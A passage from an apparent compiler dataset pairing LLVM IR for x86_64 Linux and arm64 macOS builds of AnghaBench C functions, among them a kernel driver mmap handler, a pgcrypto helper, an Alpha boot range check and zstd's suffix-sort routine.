%11 = tail call i32 @kvm_make_request(i32 noundef %10, ptr noundef nonnull %0) #2
br label %12
12: ; preds = %9, %1
ret void
}
declare i32 @kvm_make_request(i32 noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { inlinehint nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !7, i64 4}
!11 = !{!"kvm_vcpu", !12, i64 0}
!12 = !{!"TYPE_2__", !7, i64 0, !7, i64 4}
!13 = !{!11, !7, i64 0}
| linux_arch_x86_kvm_extr_kvm_cache_regs.h_leave_guest_mode |
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/char/extr_mbcs.c_mbcs_gscr_mmap.c'
source_filename = "AnghaBench/fastsocket/kernel/drivers/char/extr_mbcs.c_mbcs_gscr_mmap.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.vm_area_struct = type { i64, i32, i32 }
@EINVAL = dso_local local_unnamed_addr global i32 0, align 4
@PAGE_SHIFT = dso_local local_unnamed_addr global i32 0, align 4
@PAGE_SIZE = dso_local local_unnamed_addr global i32 0, align 4
@EAGAIN = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @mbcs_gscr_mmap], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @mbcs_gscr_mmap(ptr nocapture noundef readonly %0, ptr noundef %1) #0 {
%3 = load i64, ptr %1, align 8, !tbaa !5
%4 = icmp eq i64 %3, 0
br i1 %4, label %8, label %5
5: ; preds = %2
%6 = load i32, ptr @EINVAL, align 4, !tbaa !11
%7 = sub nsw i32 0, %6
br label %27
8: ; preds = %2
%9 = load ptr, ptr %0, align 8, !tbaa !12
%10 = load ptr, ptr %9, align 8, !tbaa !15
%11 = getelementptr inbounds %struct.vm_area_struct, ptr %1, i64 0, i32 1
%12 = load i32, ptr %11, align 8, !tbaa !17
%13 = tail call i32 @pgprot_noncached(i32 noundef %12) #2
store i32 %13, ptr %11, align 8, !tbaa !17
%14 = getelementptr inbounds %struct.vm_area_struct, ptr %1, i64 0, i32 2
%15 = load i32, ptr %14, align 4, !tbaa !18
%16 = load i32, ptr %10, align 4, !tbaa !19
%17 = tail call i32 @__pa(i32 noundef %16) #2
%18 = load i32, ptr @PAGE_SHIFT, align 4, !tbaa !11
%19 = ashr i32 %17, %18
%20 = load i32, ptr @PAGE_SIZE, align 4, !tbaa !11
%21 = load i32, ptr %11, align 8, !tbaa !17
%22 = tail call i64 @remap_pfn_range(ptr noundef nonnull %1, i32 noundef %15, i32 noundef %19, i32 noundef %20, i32 noundef %21) #2
%23 = icmp eq i64 %22, 0
br i1 %23, label %27, label %24
24: ; preds = %8
%25 = load i32, ptr @EAGAIN, align 4, !tbaa !11
%26 = sub nsw i32 0, %25
br label %27
27: ; preds = %8, %24, %5
%28 = phi i32 [ %7, %5 ], [ %26, %24 ], [ 0, %8 ]
ret i32 %28
}
declare i32 @pgprot_noncached(i32 noundef) local_unnamed_addr #1
declare i64 @remap_pfn_range(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @__pa(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"vm_area_struct", !7, i64 0, !10, i64 8, !10, i64 12}
!7 = !{!"long", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"int", !8, i64 0}
!11 = !{!10, !10, i64 0}
!12 = !{!13, !14, i64 0}
!13 = !{!"file", !14, i64 0}
!14 = !{!"any pointer", !8, i64 0}
!15 = !{!16, !14, i64 0}
!16 = !{!"cx_dev", !14, i64 0}
!17 = !{!6, !10, i64 8}
!18 = !{!6, !10, i64 12}
!19 = !{!20, !10, i64 0}
!20 = !{!"mbcs_soft", !10, i64 0}
| ; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/char/extr_mbcs.c_mbcs_gscr_mmap.c'
source_filename = "AnghaBench/fastsocket/kernel/drivers/char/extr_mbcs.c_mbcs_gscr_mmap.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@EINVAL = common local_unnamed_addr global i32 0, align 4
@PAGE_SHIFT = common local_unnamed_addr global i32 0, align 4
@PAGE_SIZE = common local_unnamed_addr global i32 0, align 4
@EAGAIN = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @mbcs_gscr_mmap], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal range(i32 -2147483647, -2147483648) i32 @mbcs_gscr_mmap(ptr nocapture noundef readonly %0, ptr noundef %1) #0 {
%3 = load i64, ptr %1, align 8, !tbaa !6
%4 = icmp eq i64 %3, 0
br i1 %4, label %8, label %5
5: ; preds = %2
%6 = load i32, ptr @EINVAL, align 4, !tbaa !12
%7 = sub nsw i32 0, %6
br label %27
8: ; preds = %2
%9 = load ptr, ptr %0, align 8, !tbaa !13
%10 = load ptr, ptr %9, align 8, !tbaa !16
%11 = getelementptr inbounds i8, ptr %1, i64 8
%12 = load i32, ptr %11, align 8, !tbaa !18
%13 = tail call i32 @pgprot_noncached(i32 noundef %12) #2
store i32 %13, ptr %11, align 8, !tbaa !18
%14 = getelementptr inbounds i8, ptr %1, i64 12
%15 = load i32, ptr %14, align 4, !tbaa !19
%16 = load i32, ptr %10, align 4, !tbaa !20
%17 = tail call i32 @__pa(i32 noundef %16) #2
%18 = load i32, ptr @PAGE_SHIFT, align 4, !tbaa !12
%19 = ashr i32 %17, %18
%20 = load i32, ptr @PAGE_SIZE, align 4, !tbaa !12
%21 = load i32, ptr %11, align 8, !tbaa !18
%22 = tail call i64 @remap_pfn_range(ptr noundef nonnull %1, i32 noundef %15, i32 noundef %19, i32 noundef %20, i32 noundef %21) #2
%23 = icmp eq i64 %22, 0
br i1 %23, label %27, label %24
24: ; preds = %8
%25 = load i32, ptr @EAGAIN, align 4, !tbaa !12
%26 = sub nsw i32 0, %25
br label %27
27: ; preds = %8, %24, %5
%28 = phi i32 [ %7, %5 ], [ %26, %24 ], [ 0, %8 ]
ret i32 %28
}
declare i32 @pgprot_noncached(i32 noundef) local_unnamed_addr #1
declare i64 @remap_pfn_range(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @__pa(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"vm_area_struct", !8, i64 0, !11, i64 8, !11, i64 12}
!8 = !{!"long", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"int", !9, i64 0}
!12 = !{!11, !11, i64 0}
!13 = !{!14, !15, i64 0}
!14 = !{!"file", !15, i64 0}
!15 = !{!"any pointer", !9, i64 0}
!16 = !{!17, !15, i64 0}
!17 = !{!"cx_dev", !15, i64 0}
!18 = !{!7, !11, i64 8}
!19 = !{!7, !11, i64 12}
!20 = !{!21, !11, i64 0}
!21 = !{!"mbcs_soft", !11, i64 0}
| fastsocket_kernel_drivers_char_extr_mbcs.c_mbcs_gscr_mmap |
; ModuleID = 'AnghaBench/postgres/contrib/pgcrypto/extr_imath.c_s_inlen.c'
source_filename = "AnghaBench/postgres/contrib/pgcrypto/extr_imath.c_s_inlen.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@s_log2 = dso_local local_unnamed_addr global ptr null, align 8
@MP_DIGIT_BIT = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @s_inlen], section "llvm.metadata"
; Function Attrs: mustprogress nofree norecurse nosync nounwind willreturn memory(read, inaccessiblemem: none) uwtable
define internal i64 @s_inlen(i32 noundef %0, i64 noundef %1) #0 {
%3 = sitofp i32 %0 to double
%4 = load ptr, ptr @s_log2, align 8, !tbaa !5
%5 = getelementptr inbounds double, ptr %4, i64 %1
%6 = load double, ptr %5, align 8, !tbaa !9
%7 = fdiv double %3, %6
%8 = fadd double %7, 5.000000e-01
%9 = fptoui double %8 to i64
%10 = load i32, ptr @MP_DIGIT_BIT, align 4, !tbaa !11
%11 = add nsw i32 %10, -1
%12 = sext i32 %11 to i64
%13 = add i64 %9, %12
%14 = sext i32 %10 to i64
%15 = udiv i64 %13, %14
%16 = add i64 %15, 1
ret i64 %16
}
attributes #0 = { mustprogress nofree norecurse nosync nounwind willreturn memory(read, inaccessiblemem: none) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"any pointer", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !10, i64 0}
!10 = !{!"double", !7, i64 0}
!11 = !{!12, !12, i64 0}
!12 = !{!"int", !7, i64 0}
| ; ModuleID = 'AnghaBench/postgres/contrib/pgcrypto/extr_imath.c_s_inlen.c'
source_filename = "AnghaBench/postgres/contrib/pgcrypto/extr_imath.c_s_inlen.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@s_log2 = common local_unnamed_addr global ptr null, align 8
@MP_DIGIT_BIT = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @s_inlen], section "llvm.metadata"
; Function Attrs: mustprogress nofree norecurse nosync nounwind ssp willreturn memory(read, inaccessiblemem: none) uwtable(sync)
define internal i64 @s_inlen(i32 noundef %0, i64 noundef %1) #0 {
%3 = sitofp i32 %0 to double
%4 = load ptr, ptr @s_log2, align 8, !tbaa !6
%5 = getelementptr inbounds double, ptr %4, i64 %1
%6 = load double, ptr %5, align 8, !tbaa !10
%7 = fdiv double %3, %6
%8 = fadd double %7, 5.000000e-01
%9 = fptoui double %8 to i64
%10 = load i32, ptr @MP_DIGIT_BIT, align 4, !tbaa !12
%11 = add nsw i32 %10, -1
%12 = sext i32 %11 to i64
%13 = add i64 %9, %12
%14 = sext i32 %10 to i64
%15 = udiv i64 %13, %14
%16 = add i64 %15, 1
ret i64 %16
}
attributes #0 = { mustprogress nofree norecurse nosync nounwind ssp willreturn memory(read, inaccessiblemem: none) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"any pointer", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !11, i64 0}
!11 = !{!"double", !8, i64 0}
!12 = !{!13, !13, i64 0}
!13 = !{!"int", !8, i64 0}
| postgres_contrib_pgcrypto_extr_imath.c_s_inlen |
; ModuleID = 'AnghaBench/linux/arch/alpha/boot/extr_bootpz.c_check_range.c'
source_filename = "AnghaBench/linux/arch/alpha/boot/extr_bootpz.c_check_range.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@PAGE_OFFSET = dso_local local_unnamed_addr global i64 0, align 8
@PAGE_SIZE = dso_local local_unnamed_addr global i64 0, align 8
; Function Attrs: nounwind uwtable
define dso_local noundef i32 @check_range(i64 noundef %0, i64 noundef %1, i64 noundef %2, i64 noundef %3) local_unnamed_addr #0 {
%5 = icmp ugt i64 %0, %1
br i1 %5, label %18, label %6
6: ; preds = %4, %14
%7 = phi i64 [ %16, %14 ], [ %0, %4 ]
%8 = tail call i64 @find_pa(i64 noundef %7) #2
%9 = load i64, ptr @PAGE_OFFSET, align 8, !tbaa !5
%10 = or i64 %9, %8
%11 = icmp ult i64 %10, %2
%12 = icmp ugt i64 %10, %3
%13 = or i1 %11, %12
br i1 %13, label %14, label %18
14: ; preds = %6
%15 = load i64, ptr @PAGE_SIZE, align 8, !tbaa !5
%16 = add i64 %15, %7
%17 = icmp ugt i64 %16, %1
br i1 %17, label %18, label %6, !llvm.loop !9
18: ; preds = %6, %14, %4
%19 = phi i32 [ 0, %4 ], [ 0, %14 ], [ 1, %6 ]
ret i32 %19
}
declare i64 @find_pa(i64 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"long", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = distinct !{!9, !10}
!10 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = 'AnghaBench/linux/arch/alpha/boot/extr_bootpz.c_check_range.c'
source_filename = "AnghaBench/linux/arch/alpha/boot/extr_bootpz.c_check_range.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@PAGE_OFFSET = common local_unnamed_addr global i64 0, align 8
@PAGE_SIZE = common local_unnamed_addr global i64 0, align 8
; Function Attrs: nounwind ssp uwtable(sync)
define range(i32 0, 2) i32 @check_range(i64 noundef %0, i64 noundef %1, i64 noundef %2, i64 noundef %3) local_unnamed_addr #0 {
%5 = icmp ugt i64 %0, %1
br i1 %5, label %18, label %6
6: ; preds = %4, %14
%7 = phi i64 [ %16, %14 ], [ %0, %4 ]
%8 = tail call i64 @find_pa(i64 noundef %7) #2
%9 = load i64, ptr @PAGE_OFFSET, align 8, !tbaa !6
%10 = or i64 %9, %8
%11 = icmp ult i64 %10, %2
%12 = icmp ugt i64 %10, %3
%13 = or i1 %11, %12
br i1 %13, label %14, label %18
14: ; preds = %6
%15 = load i64, ptr @PAGE_SIZE, align 8, !tbaa !6
%16 = add i64 %15, %7
%17 = icmp ugt i64 %16, %1
br i1 %17, label %18, label %6, !llvm.loop !10
18: ; preds = %6, %14, %4
%19 = phi i32 [ 0, %4 ], [ 0, %14 ], [ 1, %6 ]
ret i32 %19
}
declare i64 @find_pa(i64 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"long", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = distinct !{!10, !11}
!11 = !{!"llvm.loop.mustprogress"}
| linux_arch_alpha_boot_extr_bootpz.c_check_range |
; ModuleID = 'AnghaBench/zstd/lib/dictBuilder/extr_divsufsort.c_trsort.c'
source_filename = "AnghaBench/zstd/lib/dictBuilder/extr_divsufsort.c_trsort.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_4__ = type { i64 }
@llvm.compiler.used = appending global [1 x ptr] [ptr @trsort], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @trsort(ptr noundef %0, ptr noundef %1, i32 noundef %2, i32 noundef %3) #0 {
%5 = alloca %struct.TYPE_4__, align 8
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %5) #3
%6 = tail call i32 @tr_ilg(i32 noundef %2) #3
%7 = shl nsw i32 %6, 1
%8 = sdiv i32 %7, 3
%9 = call i32 @trbudget_init(ptr noundef nonnull %5, i32 noundef %8, i32 noundef %2) #3
%10 = sub nsw i32 0, %2
%11 = load i32, ptr %1, align 4, !tbaa !5
%12 = icmp sgt i32 %11, %10
br i1 %12, label %13, label %88
13: ; preds = %4
%14 = sext i32 %3 to i64
%15 = getelementptr inbounds i32, ptr %0, i64 %14
%16 = getelementptr i32, ptr %1, i64 1
%17 = sext i32 %2 to i64
%18 = getelementptr inbounds i32, ptr %1, i64 %17
%19 = ptrtoint ptr %0 to i64
br label %20
20: ; preds = %13, %81
%21 = phi i32 [ %11, %13 ], [ %86, %81 ]
%22 = phi ptr [ %15, %13 ], [ %85, %81 ]
br label %28
23: ; preds = %69, %65
%24 = phi i32 [ %71, %69 ], [ %32, %65 ]
%25 = phi i32 [ 0, %69 ], [ %67, %65 ]
%26 = phi ptr [ %49, %69 ], [ %66, %65 ]
%27 = load i32, ptr %26, align 4, !tbaa !5
br label %28
28: ; preds = %20, %23
%29 = phi i32 [ %27, %23 ], [ %21, %20 ]
%30 = phi ptr [ %26, %23 ], [ %1, %20 ]
%31 = phi i32 [ %25, %23 ], [ 0, %20 ]
%32 = phi i32 [ %24, %23 ], [ 0, %20 ]
%33 = icmp slt i32 %29, 0
br i1 %33, label %34, label %39
34: ; preds = %28
%35 = sext i32 %29 to i64
%36 = sub nsw i64 0, %35
%37 = getelementptr inbounds i32, ptr %30, i64 %36
%38 = add nsw i32 %31, %29
br label %65
39: ; preds = %28
%40 = icmp eq i32 %31, 0
br i1 %40, label %44, label %41
41: ; preds = %39
%42 = sext i32 %31 to i64
%43 = getelementptr inbounds i32, ptr %30, i64 %42
store i32 %31, ptr %43, align 4, !tbaa !5
br label %44
44: ; preds = %41, %39
%45 = zext nneg i32 %29 to i64
%46 = getelementptr inbounds i32, ptr %0, i64 %45
%47 = load i32, ptr %46, align 4, !tbaa !5
%48 = sext i32 %47 to i64
%49 = getelementptr i32, ptr %16, i64 %48
%50 = ptrtoint ptr %49 to i64
%51 = ptrtoint ptr %30 to i64
%52 = sub i64 %50, %51
%53 = icmp sgt i64 %52, 4
br i1 %53, label %54, label %62
54: ; preds = %44
store i64 0, ptr %5, align 8, !tbaa !9
%55 = call i32 @tr_introsort(ptr noundef nonnull %0, ptr noundef %22, ptr noundef nonnull %1, ptr noundef nonnull %30, ptr noundef nonnull %49, ptr noundef nonnull %5) #3
%56 = load i64, ptr %5, align 8, !tbaa !9
%57 = icmp eq i64 %56, 0
br i1 %57, label %58, label %69
58: ; preds = %54
%59 = sub i64 %51, %50
%60 = lshr exact i64 %59, 2
%61 = trunc i64 %60 to i32
br label %65
62: ; preds = %44
%63 = icmp eq i64 %52, 4
%64 = sext i1 %63 to i32
br label %65
65: ; preds = %62, %58, %34
%66 = phi ptr [ %37, %34 ], [ %49, %62 ], [ %49, %58 ]
%67 = phi i32 [ %38, %34 ], [ %64, %62 ], [ %61, %58 ]
%68 = icmp ult ptr %66, %18
br i1 %68, label %23, label %73, !llvm.loop !12
69: ; preds = %54
%70 = trunc i64 %56 to i32
%71 = add i32 %32, %70
%72 = icmp ult ptr %49, %18
br i1 %72, label %23, label %78, !llvm.loop !12
73: ; preds = %65
%74 = icmp eq i32 %67, 0
br i1 %74, label %78, label %75
75: ; preds = %73
%76 = sext i32 %67 to i64
%77 = getelementptr inbounds i32, ptr %66, i64 %76
store i32 %67, ptr %77, align 4, !tbaa !5
br label %78
78: ; preds = %69, %75, %73
%79 = phi i32 [ %32, %75 ], [ %32, %73 ], [ %71, %69 ]
%80 = icmp eq i32 %79, 0
br i1 %80, label %88, label %81
81: ; preds = %78
%82 = ptrtoint ptr %22 to i64
%83 = sub i64 %82, %19
%84 = ashr exact i64 %83, 2
%85 = getelementptr inbounds i32, ptr %22, i64 %84
%86 = load i32, ptr %1, align 4, !tbaa !5
%87 = icmp sgt i32 %86, %10
br i1 %87, label %20, label %88, !llvm.loop !14
88: ; preds = %81, %78, %4
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %5) #3
ret void
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare i32 @trbudget_init(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #2
declare i32 @tr_ilg(i32 noundef) local_unnamed_addr #2
declare i32 @tr_introsort(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !11, i64 0}
!10 = !{!"TYPE_4__", !11, i64 0}
!11 = !{!"long", !7, i64 0}
!12 = distinct !{!12, !13}
!13 = !{!"llvm.loop.mustprogress"}
!14 = distinct !{!14, !13}
| ; ModuleID = 'AnghaBench/zstd/lib/dictBuilder/extr_divsufsort.c_trsort.c'
